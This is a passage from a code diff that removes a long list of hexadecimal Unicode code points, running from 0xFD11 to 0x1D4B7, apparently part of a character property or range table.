-        0xFD11,
-        0xFD12,
-        0xFD13,
-        0xFD14,
-        0xFD15,
-        0xFD16,
-        0xFD17,
-        0xFD18,
-        0xFD19,
-        0xFD1A,
-        0xFD1B,
-        0xFD1C,
-        0xFD1D,
-        0xFD1E,
-        0xFD1F,
-        0xFD20,
-        0xFD21,
-        0xFD22,
-        0xFD23,
-        0xFD24,
-        0xFD25,
-        0xFD26,
-        0xFD27,
-        0xFD28,
-        0xFD29,
-        0xFD2A,
-        0xFD2B,
-        0xFD2C,
-        0xFD2D,
-        0xFD2E,
-        0xFD2F,
-        0xFD30,
-        0xFD31,
-        0xFD32,
-        0xFD33,
-        0xFD34,
-        0xFD35,
-        0xFD36,
-        0xFD37,
-        0xFD38,
-        0xFD39,
-        0xFD3A,
-        0xFD3B,
-        0xFD3C,
-        0xFD3E,
-        0xFD50,
-        0xFD51,
-        0xFD53,
-        0xFD54,
-        0xFD55,
-        0xFD56,
-        0xFD57,
-        0xFD58,
-        0xFD5A,
-        0xFD5B,
-        0xFD5C,
-        0xFD5D,
-        0xFD5E,
-        0xFD5F,
-        0xFD61,
-        0xFD62,
-        0xFD64,
-        0xFD66,
-        0xFD67,
-        0xFD69,
-        0xFD6A,
-        0xFD6C,
-        0xFD6E,
-        0xFD6F,
-        0xFD71,
-        0xFD73,
-        0xFD74,
-        0xFD75,
-        0xFD76,
-        0xFD78,
-        0xFD79,
-        0xFD7A,
-        0xFD7B,
-        0xFD7C,
-        0xFD7E,
-        0xFD7F,
-        0xFD80,
-        0xFD81,
-        0xFD82,
-        0xFD83,
-        0xFD85,
-        0xFD87,
-        0xFD89,
-        0xFD8A,
-        0xFD8B,
-        0xFD8C,
-        0xFD8D,
-        0xFD8E,
-        0xFD8F,
-        0xFD90,
-        0xFD92,
-        0xFD93,
-        0xFD94,
-        0xFD95,
-        0xFD96,
-        0xFD97,
-        0xFD99,
-        0xFD9A,
-        0xFD9B,
-        0xFD9C,
-        0xFD9E,
-        0xFD9F,
-        0xFDA0,
-        0xFDA1,
-        0xFDA2,
-        0xFDA3,
-        0xFDA4,
-        0xFDA5,
-        0xFDA6,
-        0xFDA7,
-        0xFDA8,
-        0xFDA9,
-        0xFDAA,
-        0xFDAB,
-        0xFDAC,
-        0xFDAD,
-        0xFDAE,
-        0xFDAF,
-        0xFDB0,
-        0xFDB1,
-        0xFDB2,
-        0xFDB3,
-        0xFDB4,
-        0xFDB5,
-        0xFDB6,
-        0xFDB7,
-        0xFDB8,
-        0xFDB9,
-        0xFDBA,
-        0xFDBB,
-        0xFDBC,
-        0xFDBD,
-        0xFDBE,
-        0xFDBF,
-        0xFDC0,
-        0xFDC1,
-        0xFDC2,
-        0xFDC3,
-        0xFDC4,
-        0xFDC5,
-        0xFDC6,
-        0xFDC7,
-        0xFDC8,
-        0xFDD0,
-        0xFDF0,
-        0xFDF1,
-        0xFDF2,
-        0xFDF3,
-        0xFDF4,
-        0xFDF5,
-        0xFDF6,
-        0xFDF7,
-        0xFDF8,
-        0xFDF9,
-        0xFDFA,
-        0xFDFB,
-        0xFDFC,
-        0xFDFD,
-        0xFE00,
-        0xFE10,
-        0xFE11,
-        0xFE12,
-        0xFE13,
-        0xFE14,
-        0xFE15,
-        0xFE16,
-        0xFE17,
-        0xFE18,
-        0xFE19,
-        0xFE20,
-        0xFE30,
-        0xFE31,
-        0xFE32,
-        0xFE33,
-        0xFE35,
-        0xFE36,
-        0xFE37,
-        0xFE38,
-        0xFE39,
-        0xFE3A,
-        0xFE3B,
-        0xFE3C,
-        0xFE3D,
-        0xFE3E,
-        0xFE3F,
-        0xFE40,
-        0xFE41,
-        0xFE42,
-        0xFE43,
-        0xFE44,
-        0xFE45,
-        0xFE47,
-        0xFE48,
-        0xFE49,
-        0xFE4D,
-        0xFE50,
-        0xFE51,
-        0xFE52,
-        0xFE54,
-        0xFE55,
-        0xFE56,
-        0xFE57,
-        0xFE58,
-        0xFE59,
-        0xFE5A,
-        0xFE5B,
-        0xFE5C,
-        0xFE5D,
-        0xFE5E,
-        0xFE5F,
-        0xFE60,
-        0xFE61,
-        0xFE62,
-        0xFE63,
-        0xFE64,
-        0xFE65,
-        0xFE66,
-        0xFE67,
-        0xFE68,
-        0xFE69,
-        0xFE6A,
-        0xFE6B,
-        0xFE6C,
-        0xFE70,
-        0xFE71,
-        0xFE72,
-        0xFE73,
-        0xFE74,
-        0xFE75,
-        0xFE76,
-        0xFE77,
-        0xFE78,
-        0xFE79,
-        0xFE7A,
-        0xFE7B,
-        0xFE7C,
-        0xFE7D,
-        0xFE7E,
-        0xFE7F,
-        0xFE80,
-        0xFE81,
-        0xFE83,
-        0xFE85,
-        0xFE87,
-        0xFE89,
-        0xFE8D,
-        0xFE8F,
-        0xFE93,
-        0xFE95,
-        0xFE99,
-        0xFE9D,
-        0xFEA1,
-        0xFEA5,
-        0xFEA9,
-        0xFEAB,
-        0xFEAD,
-        0xFEAF,
-        0xFEB1,
-        0xFEB5,
-        0xFEB9,
-        0xFEBD,
-        0xFEC1,
-        0xFEC5,
-        0xFEC9,
-        0xFECD,
-        0xFED1,
-        0xFED5,
-        0xFED9,
-        0xFEDD,
-        0xFEE1,
-        0xFEE5,
-        0xFEE9,
-        0xFEED,
-        0xFEEF,
-        0xFEF1,
-        0xFEF5,
-        0xFEF7,
-        0xFEF9,
-        0xFEFB,
-        0xFEFD,
-        0xFEFF,
-        0xFF00,
-        0xFF01,
-        0xFF02,
-        0xFF03,
-        0xFF04,
-        0xFF05,
-        0xFF06,
-        0xFF07,
-        0xFF08,
-        0xFF09,
-        0xFF0A,
-        0xFF0B,
-        0xFF0C,
-        0xFF0D,
-        0xFF0E,
-        0xFF0F,
-        0xFF10,
-        0xFF11,
-        0xFF12,
-        0xFF13,
-        0xFF14,
-        0xFF15,
-        0xFF16,
-        0xFF17,
-        0xFF18,
-        0xFF19,
-        0xFF1A,
-        0xFF1B,
-        0xFF1C,
-        0xFF1D,
-        0xFF1E,
-        0xFF1F,
-        0xFF20,
-        0xFF21,
-        0xFF22,
-        0xFF23,
-        0xFF24,
-        0xFF25,
-        0xFF26,
-        0xFF27,
-        0xFF28,
-        0xFF29,
-        0xFF2A,
-        0xFF2B,
-        0xFF2C,
-        0xFF2D,
-        0xFF2E,
-        0xFF2F,
-        0xFF30,
-        0xFF31,
-        0xFF32,
-        0xFF33,
-        0xFF34,
-        0xFF35,
-        0xFF36,
-        0xFF37,
-        0xFF38,
-        0xFF39,
-        0xFF3A,
-        0xFF3B,
-        0xFF3C,
-        0xFF3D,
-        0xFF3E,
-        0xFF3F,
-        0xFF40,
-        0xFF41,
-        0xFF42,
-        0xFF43,
-        0xFF44,
-        0xFF45,
-        0xFF46,
-        0xFF47,
-        0xFF48,
-        0xFF49,
-        0xFF4A,
-        0xFF4B,
-        0xFF4C,
-        0xFF4D,
-        0xFF4E,
-        0xFF4F,
-        0xFF50,
-        0xFF51,
-        0xFF52,
-        0xFF53,
-        0xFF54,
-        0xFF55,
-        0xFF56,
-        0xFF57,
-        0xFF58,
-        0xFF59,
-        0xFF5A,
-        0xFF5B,
-        0xFF5C,
-        0xFF5D,
-        0xFF5E,
-        0xFF5F,
-        0xFF60,
-        0xFF61,
-        0xFF62,
-        0xFF63,
-        0xFF64,
-        0xFF65,
-        0xFF66,
-        0xFF67,
-        0xFF68,
-        0xFF69,
-        0xFF6A,
-        0xFF6B,
-        0xFF6C,
-        0xFF6D,
-        0xFF6E,
-        0xFF6F,
-        0xFF70,
-        0xFF71,
-        0xFF72,
-        0xFF73,
-        0xFF74,
-        0xFF75,
-        0xFF76,
-        0xFF77,
-        0xFF78,
-        0xFF79,
-        0xFF7A,
-        0xFF7B,
-        0xFF7C,
-        0xFF7D,
-        0xFF7E,
-        0xFF7F,
-        0xFF80,
-        0xFF81,
-        0xFF82,
-        0xFF83,
-        0xFF84,
-        0xFF85,
-        0xFF86,
-        0xFF87,
-        0xFF88,
-        0xFF89,
-        0xFF8A,
-        0xFF8B,
-        0xFF8C,
-        0xFF8D,
-        0xFF8E,
-        0xFF8F,
-        0xFF90,
-        0xFF91,
-        0xFF92,
-        0xFF93,
-        0xFF94,
-        0xFF95,
-        0xFF96,
-        0xFF97,
-        0xFF98,
-        0xFF99,
-        0xFF9A,
-        0xFF9B,
-        0xFF9C,
-        0xFF9D,
-        0xFF9E,
-        0xFF9F,
-        0xFFA0,
-        0xFFA1,
-        0xFFA2,
-        0xFFA3,
-        0xFFA4,
-        0xFFA5,
-        0xFFA6,
-        0xFFA7,
-        0xFFA8,
-        0xFFA9,
-        0xFFAA,
-        0xFFAB,
-        0xFFAC,
-        0xFFAD,
-        0xFFAE,
-        0xFFAF,
-        0xFFB0,
-        0xFFB1,
-        0xFFB2,
-        0xFFB3,
-        0xFFB4,
-        0xFFB5,
-        0xFFB6,
-        0xFFB7,
-        0xFFB8,
-        0xFFB9,
-        0xFFBA,
-        0xFFBB,
-        0xFFBC,
-        0xFFBD,
-        0xFFBE,
-        0xFFBF,
-        0xFFC2,
-        0xFFC3,
-        0xFFC4,
-        0xFFC5,
-        0xFFC6,
-        0xFFC7,
-        0xFFC8,
-        0xFFCA,
-        0xFFCB,
-        0xFFCC,
-        0xFFCD,
-        0xFFCE,
-        0xFFCF,
-        0xFFD0,
-        0xFFD2,
-        0xFFD3,
-        0xFFD4,
-        0xFFD5,
-        0xFFD6,
-        0xFFD7,
-        0xFFD8,
-        0xFFDA,
-        0xFFDB,
-        0xFFDC,
-        0xFFDD,
-        0xFFE0,
-        0xFFE1,
-        0xFFE2,
-        0xFFE3,
-        0xFFE4,
-        0xFFE5,
-        0xFFE6,
-        0xFFE7,
-        0xFFE8,
-        0xFFE9,
-        0xFFEA,
-        0xFFEB,
-        0xFFEC,
-        0xFFED,
-        0xFFEE,
-        0xFFEF,
-        0x10000,
-        0x1000C,
-        0x1000D,
-        0x10027,
-        0x10028,
-        0x1003B,
-        0x1003C,
-        0x1003E,
-        0x1003F,
-        0x1004E,
-        0x10050,
-        0x1005E,
-        0x10080,
-        0x100FB,
-        0x10100,
-        0x10103,
-        0x10107,
-        0x10134,
-        0x10137,
-        0x1018F,
-        0x10190,
-        0x1019D,
-        0x101A0,
-        0x101A1,
-        0x101D0,
-        0x101FE,
-        0x10280,
-        0x1029D,
-        0x102A0,
-        0x102D1,
-        0x102E0,
-        0x102FC,
-        0x10300,
-        0x10324,
-        0x1032D,
-        0x1034B,
-        0x10350,
-        0x1037B,
-        0x10380,
-        0x1039E,
-        0x1039F,
-        0x103C4,
-        0x103C8,
-        0x103D6,
-        0x10400,
-        0x10401,
-        0x10402,
-        0x10403,
-        0x10404,
-        0x10405,
-        0x10406,
-        0x10407,
-        0x10408,
-        0x10409,
-        0x1040A,
-        0x1040B,
-        0x1040C,
-        0x1040D,
-        0x1040E,
-        0x1040F,
-        0x10410,
-        0x10411,
-        0x10412,
-        0x10413,
-        0x10414,
-        0x10415,
-        0x10416,
-        0x10417,
-        0x10418,
-        0x10419,
-        0x1041A,
-        0x1041B,
-        0x1041C,
-        0x1041D,
-        0x1041E,
-        0x1041F,
-        0x10420,
-        0x10421,
-        0x10422,
-        0x10423,
-        0x10424,
-        0x10425,
-        0x10426,
-        0x10427,
-        0x10428,
-        0x1049E,
-        0x104A0,
-        0x104AA,
-        0x104B0,
-        0x104B1,
-        0x104B2,
-        0x104B3,
-        0x104B4,
-        0x104B5,
-        0x104B6,
-        0x104B7,
-        0x104B8,
-        0x104B9,
-        0x104BA,
-        0x104BB,
-        0x104BC,
-        0x104BD,
-        0x104BE,
-        0x104BF,
-        0x104C0,
-        0x104C1,
-        0x104C2,
-        0x104C3,
-        0x104C4,
-        0x104C5,
-        0x104C6,
-        0x104C7,
-        0x104C8,
-        0x104C9,
-        0x104CA,
-        0x104CB,
-        0x104CC,
-        0x104CD,
-        0x104CE,
-        0x104CF,
-        0x104D0,
-        0x104D1,
-        0x104D2,
-        0x104D3,
-        0x104D4,
-        0x104D8,
-        0x104FC,
-        0x10500,
-        0x10528,
-        0x10530,
-        0x10564,
-        0x1056F,
-        0x10570,
-        0x10571,
-        0x10572,
-        0x10573,
-        0x10574,
-        0x10575,
-        0x10576,
-        0x10577,
-        0x10578,
-        0x10579,
-        0x1057A,
-        0x1057B,
-        0x1057C,
-        0x1057D,
-        0x1057E,
-        0x1057F,
-        0x10580,
-        0x10581,
-        0x10582,
-        0x10583,
-        0x10584,
-        0x10585,
-        0x10586,
-        0x10587,
-        0x10588,
-        0x10589,
-        0x1058A,
-        0x1058B,
-        0x1058C,
-        0x1058D,
-        0x1058E,
-        0x1058F,
-        0x10590,
-        0x10591,
-        0x10592,
-        0x10593,
-        0x10594,
-        0x10595,
-        0x10596,
-        0x10597,
-        0x105A2,
-        0x105A3,
-        0x105B2,
-        0x105B3,
-        0x105BA,
-        0x105BB,
-        0x105BD,
-        0x105C0,
-        0x105F4,
-        0x10600,
-        0x10737,
-        0x10740,
-        0x10756,
-        0x10760,
-        0x10768,
-        0x10780,
-        0x10781,
-        0x10782,
-        0x10783,
-        0x10784,
-        0x10785,
-        0x10786,
-        0x10787,
-        0x10788,
-        0x10789,
-        0x1078A,
-        0x1078B,
-        0x1078C,
-        0x1078D,
-        0x1078E,
-        0x1078F,
-        0x10790,
-        0x10791,
-        0x10792,
-        0x10793,
-        0x10794,
-        0x10795,
-        0x10796,
-        0x10797,
-        0x10798,
-        0x10799,
-        0x1079A,
-        0x1079B,
-        0x1079C,
-        0x1079D,
-        0x1079E,
-        0x1079F,
-        0x107A0,
-        0x107A1,
-        0x107A2,
-        0x107A3,
-        0x107A4,
-        0x107A5,
-        0x107A6,
-        0x107A7,
-        0x107A8,
-        0x107A9,
-        0x107AA,
-        0x107AB,
-        0x107AC,
-        0x107AD,
-        0x107AE,
-        0x107AF,
-        0x107B0,
-        0x107B1,
-        0x107B2,
-        0x107B3,
-        0x107B4,
-        0x107B5,
-        0x107B6,
-        0x107B7,
-        0x107B8,
-        0x107B9,
-        0x107BA,
-        0x107BB,
-        0x10800,
-        0x10806,
-        0x10808,
-        0x10809,
-        0x1080A,
-        0x10836,
-        0x10837,
-        0x10839,
-        0x1083C,
-        0x1083D,
-        0x1083F,
-        0x10856,
-        0x10857,
-        0x1089F,
-        0x108A7,
-        0x108B0,
-        0x108E0,
-        0x108F3,
-        0x108F4,
-        0x108F6,
-        0x108FB,
-        0x1091C,
-        0x1091F,
-        0x1093A,
-        0x1093F,
-        0x1095A,
-        0x10980,
-        0x109B8,
-        0x109BC,
-        0x109D0,
-        0x109D2,
-        0x10A04,
-        0x10A05,
-        0x10A07,
-        0x10A0C,
-        0x10A14,
-        0x10A15,
-        0x10A18,
-        0x10A19,
-        0x10A36,
-        0x10A38,
-        0x10A3B,
-        0x10A3F,
-        0x10A49,
-        0x10A50,
-        0x10A59,
-        0x10A60,
-        0x10AA0,
-        0x10AC0,
-        0x10AE7,
-        0x10AEB,
-        0x10AF7,
-        0x10B00,
-        0x10B36,
-        0x10B39,
-        0x10B56,
-        0x10B58,
-        0x10B73,
-        0x10B78,
-        0x10B92,
-        0x10B99,
-        0x10B9D,
-        0x10BA9,
-        0x10BB0,
-        0x10C00,
-        0x10C49,
-        0x10C80,
-        0x10C81,
-        0x10C82,
-        0x10C83,
-        0x10C84,
-        0x10C85,
-        0x10C86,
-        0x10C87,
-        0x10C88,
-        0x10C89,
-        0x10C8A,
-        0x10C8B,
-        0x10C8C,
-        0x10C8D,
-        0x10C8E,
-        0x10C8F,
-        0x10C90,
-        0x10C91,
-        0x10C92,
-        0x10C93,
-        0x10C94,
-        0x10C95,
-        0x10C96,
-        0x10C97,
-        0x10C98,
-        0x10C99,
-        0x10C9A,
-        0x10C9B,
-        0x10C9C,
-        0x10C9D,
-        0x10C9E,
-        0x10C9F,
-        0x10CA0,
-        0x10CA1,
-        0x10CA2,
-        0x10CA3,
-        0x10CA4,
-        0x10CA5,
-        0x10CA6,
-        0x10CA7,
-        0x10CA8,
-        0x10CA9,
-        0x10CAA,
-        0x10CAB,
-        0x10CAC,
-        0x10CAD,
-        0x10CAE,
-        0x10CAF,
-        0x10CB0,
-        0x10CB1,
-        0x10CB2,
-        0x10CB3,
-        0x10CC0,
-        0x10CF3,
-        0x10CFA,
-        0x10D28,
-        0x10D30,
-        0x10D3A,
-        0x10D40,
-        0x10D50,
-        0x10D51,
-        0x10D52,
-        0x10D53,
-        0x10D54,
-        0x10D55,
-        0x10D56,
-        0x10D57,
-        0x10D58,
-        0x10D59,
-        0x10D5A,
-        0x10D5B,
-        0x10D5C,
-        0x10D5D,
-        0x10D5E,
-        0x10D5F,
-        0x10D60,
-        0x10D61,
-        0x10D62,
-        0x10D63,
-        0x10D64,
-        0x10D65,
-        0x10D66,
-        0x10D69,
-        0x10D86,
-        0x10D8E,
-        0x10D90,
-        0x10E60,
-        0x10E7F,
-        0x10E80,
-        0x10EAA,
-        0x10EAB,
-        0x10EAE,
-        0x10EB0,
-        0x10EB2,
-        0x10EC2,
-        0x10EC8,
-        0x10ED0,
-        0x10ED9,
-        0x10EFA,
-        0x10F28,
-        0x10F30,
-        0x10F5A,
-        0x10F70,
-        0x10F8A,
-        0x10FB0,
-        0x10FCC,
-        0x10FE0,
-        0x10FF7,
-        0x11000,
-        0x1104E,
-        0x11052,
-        0x11076,
-        0x1107F,
-        0x110BD,
-        0x110BE,
-        0x110C3,
-        0x110D0,
-        0x110E9,
-        0x110F0,
-        0x110FA,
-        0x11100,
-        0x11135,
-        0x11136,
-        0x11148,
-        0x11150,
-        0x11177,
-        0x11180,
-        0x111E0,
-        0x111E1,
-        0x111F5,
-        0x11200,
-        0x11212,
-        0x11213,
-        0x11242,
-        0x11280,
-        0x11287,
-        0x11288,
-        0x11289,
-        0x1128A,
-        0x1128E,
-        0x1128F,
-        0x1129E,
-        0x1129F,
-        0x112AA,
-        0x112B0,
-        0x112EB,
-        0x112F0,
-        0x112FA,
-        0x11300,
-        0x11304,
-        0x11305,
-        0x1130D,
-        0x1130F,
-        0x11311,
-        0x11313,
-        0x11329,
-        0x1132A,
-        0x11331,
-        0x11332,
-        0x11334,
-        0x11335,
-        0x1133A,
-        0x1133B,
-        0x11345,
-        0x11347,
-        0x11349,
-        0x1134B,
-        0x1134E,
-        0x11350,
-        0x11351,
-        0x11357,
-        0x11358,
-        0x1135D,
-        0x11364,
-        0x11366,
-        0x1136D,
-        0x11370,
-        0x11375,
-        0x11380,
-        0x1138A,
-        0x1138B,
-        0x1138C,
-        0x1138E,
-        0x1138F,
-        0x11390,
-        0x113B6,
-        0x113B7,
-        0x113C1,
-        0x113C2,
-        0x113C3,
-        0x113C5,
-        0x113C6,
-        0x113C7,
-        0x113CB,
-        0x113CC,
-        0x113D6,
-        0x113D7,
-        0x113D9,
-        0x113E1,
-        0x113E3,
-        0x11400,
-        0x1145C,
-        0x1145D,
-        0x11462,
-        0x11480,
-        0x114C8,
-        0x114D0,
-        0x114DA,
-        0x11580,
-        0x115B6,
-        0x115B8,
-        0x115DE,
-        0x11600,
-        0x11645,
-        0x11650,
-        0x1165A,
-        0x11660,
-        0x1166D,
-        0x11680,
-        0x116BA,
-        0x116C0,
-        0x116CA,
-        0x116D0,
-        0x116E4,
-        0x11700,
-        0x1171B,
-        0x1171D,
-        0x1172C,
-        0x11730,
-        0x11747,
-        0x11800,
-        0x1183C,
-        0x118A0,
-        0x118A1,
-        0x118A2,
-        0x118A3,
-        0x118A4,
-        0x118A5,
-        0x118A6,
-        0x118A7,
-        0x118A8,
-        0x118A9,
-        0x118AA,
-        0x118AB,
-        0x118AC,
-        0x118AD,
-        0x118AE,
-        0x118AF,
-        0x118B0,
-        0x118B1,
-        0x118B2,
-        0x118B3,
-        0x118B4,
-        0x118B5,
-        0x118B6,
-        0x118B7,
-        0x118B8,
-        0x118B9,
-        0x118BA,
-        0x118BB,
-        0x118BC,
-        0x118BD,
-        0x118BE,
-        0x118BF,
-        0x118C0,
-        0x118F3,
-        0x118FF,
-        0x11907,
-        0x11909,
-        0x1190A,
-        0x1190C,
-        0x11914,
-        0x11915,
-        0x11917,
-        0x11918,
-        0x11936,
-        0x11937,
-        0x11939,
-        0x1193B,
-        0x11947,
-        0x11950,
-        0x1195A,
-        0x119A0,
-        0x119A8,
-        0x119AA,
-        0x119D8,
-        0x119DA,
-        0x119E5,
-        0x11A00,
-        0x11A48,
-        0x11A50,
-        0x11AA3,
-        0x11AB0,
-        0x11AF9,
-        0x11B00,
-        0x11B0A,
-        0x11B60,
-        0x11B68,
-        0x11BC0,
-        0x11BE2,
-        0x11BF0,
-        0x11BFA,
-        0x11C00,
-        0x11C09,
-        0x11C0A,
-        0x11C37,
-        0x11C38,
-        0x11C46,
-        0x11C50,
-        0x11C6D,
-        0x11C70,
-        0x11C90,
-        0x11C92,
-        0x11CA8,
-        0x11CA9,
-        0x11CB7,
-        0x11D00,
-        0x11D07,
-        0x11D08,
-        0x11D0A,
-        0x11D0B,
-        0x11D37,
-        0x11D3A,
-        0x11D3B,
-        0x11D3C,
-        0x11D3E,
-        0x11D3F,
-        0x11D48,
-        0x11D50,
-        0x11D5A,
-        0x11D60,
-        0x11D66,
-        0x11D67,
-        0x11D69,
-        0x11D6A,
-        0x11D8F,
-        0x11D90,
-        0x11D92,
-        0x11D93,
-        0x11D99,
-        0x11DA0,
-        0x11DAA,
-        0x11DB0,
-        0x11DDC,
-        0x11DE0,
-        0x11DEA,
-        0x11EE0,
-        0x11EF9,
-        0x11F00,
-        0x11F11,
-        0x11F12,
-        0x11F3B,
-        0x11F3E,
-        0x11F5B,
-        0x11FB0,
-        0x11FB1,
-        0x11FC0,
-        0x11FF2,
-        0x11FFF,
-        0x1239A,
-        0x12400,
-        0x1246F,
-        0x12470,
-        0x12475,
-        0x12480,
-        0x12544,
-        0x12F90,
-        0x12FF3,
-        0x13000,
-        0x13430,
-        0x13440,
-        0x13456,
-        0x13460,
-        0x143FB,
-        0x14400,
-        0x14647,
-        0x16100,
-        0x1613A,
-        0x16800,
-        0x16A39,
-        0x16A40,
-        0x16A5F,
-        0x16A60,
-        0x16A6A,
-        0x16A6E,
-        0x16ABF,
-        0x16AC0,
-        0x16ACA,
-        0x16AD0,
-        0x16AEE,
-        0x16AF0,
-        0x16AF6,
-        0x16B00,
-        0x16B46,
-        0x16B50,
-        0x16B5A,
-        0x16B5B,
-        0x16B62,
-        0x16B63,
-        0x16B78,
-        0x16B7D,
-        0x16B90,
-        0x16D40,
-        0x16D7A,
-        0x16E40,
-        0x16E41,
-        0x16E42,
-        0x16E43,
-        0x16E44,
-        0x16E45,
-        0x16E46,
-        0x16E47,
-        0x16E48,
-        0x16E49,
-        0x16E4A,
-        0x16E4B,
-        0x16E4C,
-        0x16E4D,
-        0x16E4E,
-        0x16E4F,
-        0x16E50,
-        0x16E51,
-        0x16E52,
-        0x16E53,
-        0x16E54,
-        0x16E55,
-        0x16E56,
-        0x16E57,
-        0x16E58,
-        0x16E59,
-        0x16E5A,
-        0x16E5B,
-        0x16E5C,
-        0x16E5D,
-        0x16E5E,
-        0x16E5F,
-        0x16E60,
-        0x16E9B,
-        0x16EA0,
-        0x16EA1,
-        0x16EA2,
-        0x16EA3,
-        0x16EA4,
-        0x16EA5,
-        0x16EA6,
-        0x16EA7,
-        0x16EA8,
-        0x16EA9,
-        0x16EAA,
-        0x16EAB,
-        0x16EAC,
-        0x16EAD,
-        0x16EAE,
-        0x16EAF,
-        0x16EB0,
-        0x16EB1,
-        0x16EB2,
-        0x16EB3,
-        0x16EB4,
-        0x16EB5,
-        0x16EB6,
-        0x16EB7,
-        0x16EB8,
-        0x16EB9,
-        0x16EBB,
-        0x16ED4,
-        0x16F00,
-        0x16F4B,
-        0x16F4F,
-        0x16F88,
-        0x16F8F,
-        0x16FA0,
-        0x16FE0,
-        0x16FE5,
-        0x16FF0,
-        0x16FF7,
-        0x17000,
-        0x18CD6,
-        0x18CFF,
-        0x18D1F,
-        0x18D80,
-        0x18DF3,
-        0x1AFF0,
-        0x1AFF4,
-        0x1AFF5,
-        0x1AFFC,
-        0x1AFFD,
-        0x1AFFF,
-        0x1B000,
-        0x1B123,
-        0x1B132,
-        0x1B133,
-        0x1B150,
-        0x1B153,
-        0x1B155,
-        0x1B156,
-        0x1B164,
-        0x1B168,
-        0x1B170,
-        0x1B2FC,
-        0x1BC00,
-        0x1BC6B,
-        0x1BC70,
-        0x1BC7D,
-        0x1BC80,
-        0x1BC89,
-        0x1BC90,
-        0x1BC9A,
-        0x1BC9C,
-        0x1BCA0,
-        0x1BCA4,
-        0x1CC00,
-        0x1CCD6,
-        0x1CCD7,
-        0x1CCD8,
-        0x1CCD9,
-        0x1CCDA,
-        0x1CCDB,
-        0x1CCDC,
-        0x1CCDD,
-        0x1CCDE,
-        0x1CCDF,
-        0x1CCE0,
-        0x1CCE1,
-        0x1CCE2,
-        0x1CCE3,
-        0x1CCE4,
-        0x1CCE5,
-        0x1CCE6,
-        0x1CCE7,
-        0x1CCE8,
-        0x1CCE9,
-        0x1CCEA,
-        0x1CCEB,
-        0x1CCEC,
-        0x1CCED,
-        0x1CCEE,
-        0x1CCEF,
-        0x1CCF0,
-        0x1CCF1,
-        0x1CCF2,
-        0x1CCF3,
-        0x1CCF4,
-        0x1CCF5,
-        0x1CCF6,
-        0x1CCF7,
-        0x1CCF8,
-        0x1CCF9,
-        0x1CCFA,
-        0x1CCFD,
-        0x1CD00,
-        0x1CEB4,
-        0x1CEBA,
-        0x1CED1,
-        0x1CEE0,
-        0x1CEF1,
-        0x1CF00,
-        0x1CF2E,
-        0x1CF30,
-        0x1CF47,
-        0x1CF50,
-        0x1CFC4,
-        0x1D000,
-        0x1D0F6,
-        0x1D100,
-        0x1D127,
-        0x1D129,
-        0x1D15E,
-        0x1D15F,
-        0x1D160,
-        0x1D161,
-        0x1D162,
-        0x1D163,
-        0x1D164,
-        0x1D165,
-        0x1D173,
-        0x1D17B,
-        0x1D1BB,
-        0x1D1BC,
-        0x1D1BD,
-        0x1D1BE,
-        0x1D1BF,
-        0x1D1C0,
-        0x1D1C1,
-        0x1D1EB,
-        0x1D200,
-        0x1D246,
-        0x1D2C0,
-        0x1D2D4,
-        0x1D2E0,
-        0x1D2F4,
-        0x1D300,
-        0x1D357,
-        0x1D360,
-        0x1D379,
-        0x1D400,
-        0x1D401,
-        0x1D402,
-        0x1D403,
-        0x1D404,
-        0x1D405,
-        0x1D406,
-        0x1D407,
-        0x1D408,
-        0x1D409,
-        0x1D40A,
-        0x1D40B,
-        0x1D40C,
-        0x1D40D,
-        0x1D40E,
-        0x1D40F,
-        0x1D410,
-        0x1D411,
-        0x1D412,
-        0x1D413,
-        0x1D414,
-        0x1D415,
-        0x1D416,
-        0x1D417,
-        0x1D418,
-        0x1D419,
-        0x1D41A,
-        0x1D41B,
-        0x1D41C,
-        0x1D41D,
-        0x1D41E,
-        0x1D41F,
-        0x1D420,
-        0x1D421,
-        0x1D422,
-        0x1D423,
-        0x1D424,
-        0x1D425,
-        0x1D426,
-        0x1D427,
-        0x1D428,
-        0x1D429,
-        0x1D42A,
-        0x1D42B,
-        0x1D42C,
-        0x1D42D,
-        0x1D42E,
-        0x1D42F,
-        0x1D430,
-        0x1D431,
-        0x1D432,
-        0x1D433,
-        0x1D434,
-        0x1D435,
-        0x1D436,
-        0x1D437,
-        0x1D438,
-        0x1D439,
-        0x1D43A,
-        0x1D43B,
-        0x1D43C,
-        0x1D43D,
-        0x1D43E,
-        0x1D43F,
-        0x1D440,
-        0x1D441,
-        0x1D442,
-        0x1D443,
-        0x1D444,
-        0x1D445,
-        0x1D446,
-        0x1D447,
-        0x1D448,
-        0x1D449,
-        0x1D44A,
-        0x1D44B,
-        0x1D44C,
-        0x1D44D,
-        0x1D44E,
-        0x1D44F,
-        0x1D450,
-        0x1D451,
-        0x1D452,
-        0x1D453,
-        0x1D454,
-        0x1D455,
-        0x1D456,
-        0x1D457,
-        0x1D458,
-        0x1D459,
-        0x1D45A,
-        0x1D45B,
-        0x1D45C,
-        0x1D45D,
-        0x1D45E,
-        0x1D45F,
-        0x1D460,
-        0x1D461,
-        0x1D462,
-        0x1D463,
-        0x1D464,
-        0x1D465,
-        0x1D466,
-        0x1D467,
-        0x1D468,
-        0x1D469,
-        0x1D46A,
-        0x1D46B,
-        0x1D46C,
-        0x1D46D,
-        0x1D46E,
-        0x1D46F,
-        0x1D470,
-        0x1D471,
-        0x1D472,
-        0x1D473,
-        0x1D474,
-        0x1D475,
-        0x1D476,
-        0x1D477,
-        0x1D478,
-        0x1D479,
-        0x1D47A,
-        0x1D47B,
-        0x1D47C,
-        0x1D47D,
-        0x1D47E,
-        0x1D47F,
-        0x1D480,
-        0x1D481,
-        0x1D482,
-        0x1D483,
-        0x1D484,
-        0x1D485,
-        0x1D486,
-        0x1D487,
-        0x1D488,
-        0x1D489,
-        0x1D48A,
-        0x1D48B,
-        0x1D48C,
-        0x1D48D,
-        0x1D48E,
-        0x1D48F,
-        0x1D490,
-        0x1D491,
-        0x1D492,
-        0x1D493,
-        0x1D494,
-        0x1D495,
-        0x1D496,
-        0x1D497,
-        0x1D498,
-        0x1D499,
-        0x1D49A,
-        0x1D49B,
-        0x1D49C,
-        0x1D49D,
-        0x1D49E,
-        0x1D49F,
-        0x1D4A0,
-        0x1D4A2,
-        0x1D4A3,
-        0x1D4A5,
-        0x1D4A6,
-        0x1D4A7,
-        0x1D4A9,
-        0x1D4AA,
-        0x1D4AB,
-        0x1D4AC,
-        0x1D4AD,
-        0x1D4AE,
-        0x1D4AF,
-        0x1D4B0,
-        0x1D4B1,
-        0x1D4B2,
-        0x1D4B3,
-        0x1D4B4,
-        0x1D4B5,
-        0x1D4B6,
-        0x1D4B7,
